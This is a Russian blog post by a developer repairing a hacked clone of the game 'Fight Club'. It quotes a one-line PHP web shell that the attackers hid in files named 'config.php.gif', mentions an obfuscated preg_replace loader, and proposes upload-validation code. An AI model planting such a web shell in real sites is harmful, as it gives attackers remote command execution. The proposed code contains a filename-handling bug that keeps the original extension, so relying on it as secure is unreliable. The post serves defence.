Сейчас мне пришлось работать с одним из клонов известного Бойцовского клуба. Игра была взломана. Злоумышленник авторизуется под персонажами глав администрации и делает что хочет.
Основная проблема в грубом нарушении разработчиками правил безопасности при проверке получаемых от пользователя данных. Местами проверок вообще нет.
На данный момент я прохожу по основным скриптам, экранируя переменные получаемые извне. Также были удалены скрипты позволяющие скачать базу, просмотреть содержимое папок и информацию о сервере. Как они были залиты я ещё не выяснил.
Интересно, что один из хакерских скриптов был обнаружен моим антивирусом. При этом сам скрипт выглядел следующим образом:
// <несколько переменных> preg_replace("/.*/e", "<мешанина символов на несколько десятков строк>");
Но в первую очередь на глаза мне попались странные файлы в корне сайта с названиями «config.php.gif», помимо прочего содержащие следующую строку:
<?php system(urldecode($_GET['q'])); ?>
Хоть этот вариант атаки и не сработал, благодаря тому что при загрузке изображений файлам принудительно присоединялось расширение «.gif», я хочу написать о проверке загружаемых файлов.
В моём случае обработка загружаемого изображения состояла из:
- проверки расширения,
- проверки mime типа при помощи getimagesize
- принудительной установки расширения .gif.
По-моему правильнее было бы сделать следующим образом:
define('MAX_FILE_NAME_LEN', 250); define('DEST_FOLDER', 'd:/htdocs/test/'); $img_file = $_FILES['file']['tmp_name']; /* [ проверка кода ошибки $_FILES['file']['error'] ] */ // Получение mime-типа $img_info = getimagesize($img_file); // Проверка на соответствие типу // правильнее иметь список разрешённых типов, а не наоборот switch ($img_info['mime']) { case 'image/gif': $img_res = imagecreatefromgif($img_file); $file_ext = '.gif'; break; case 'image/jpeg': $img_res = imagecreatefromjpeg($img_file); $file_ext = '.jpg'; break; default: trigger_error('Unknown type "'. $img_info['mime'] .'"!', E_USER_ERROR); exit; } if ($img_res === false) { trigger_error('File is not valid!', E_USER_ERROR); exit; } // Проверяем имя файла $dot_pos = strrpos($_FILES['file']['name'], '.'); $name_chunk = substr($_FILES['file']['name'], 0, $dot_pos); $name_chunk = substr($_FILES['file']['name'], 0, MAX_FILE_NAME_LEN); $name_chunk = preg_replace('/[^\d_.a-z]/i', '', $name_chunk); if (!strlen($name_chunk)) $name_chunk = time(); // Избегаем перезаписывания файлов $img_name = $name_chunk . $file_ext; if (file_exists(DEST_FOLDER . $img_name)) { for ($i = 1; file_exists(DEST_FOLDER . $name_chunk . '_' . $i . $file_ext); $i++); $img_name = $name_chunk . '_' . $i . $file_ext; } // This function checks to ensure that the file designated by // filename is a valid upload file (meaning that it was uploaded // via PHP's HTTP POST upload mechanism). move_uploaded_file($_FILES['file']['tmp_name'], DEST_FOLDER . $img_name);
Дополнительно можно разумно ограничить минимальный и максимальный размер файла.
Помимо самого файла, нужно обезопасить директорию назначения, и снять с неё права на выполнение:
chmod a-x /dir/pathPS: а ещё я сегодня получил права :)
Комментариев нет:
Отправить комментарий